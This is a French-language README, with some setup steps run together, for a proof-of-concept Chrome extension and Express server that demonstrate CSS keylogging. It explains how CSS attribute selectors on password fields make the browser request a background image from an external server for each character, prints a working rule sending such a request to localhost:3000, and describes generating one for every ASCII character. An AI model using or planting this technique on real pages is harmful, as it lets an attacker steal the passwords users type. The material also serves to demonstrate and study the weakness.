
Extension Chrome et serveur Express qui exploitent les capacités de keylogging du CSS.
Extension Chrome et serveur Express exploitant les capacités de keylogging des CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions dans votre navigateur (ou ouvrez le menu Chrome en cliquant sur l'icône tout à droite de la barre d'adresse : l'icône du menu est constituée de trois barres horizontales, puis sélectionnez Extensions sous le menu Plus d'outils pour accéder au même endroit).css-keylogger-extension dans le répertoire où vous avez téléchargé ce dépôt.yarnyarn startC en haut à droite de n'importe quelle page web.Cette attaque est très simple. En utilisant les sélecteurs d'attributs CSS, on peut demander des ressources à un serveur externe sous prétexte de charger une background-image.
Par exemple, le CSS suivant sélectionnera toutes les entrées ayant un type égal à password et une value se terminant par a.
Il essaiera ensuite de charger une image depuis http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
En utilisant un script simple, on peut créer un fichier CSS qui enverra une requête personnalisée pour chaque caractère ASCII.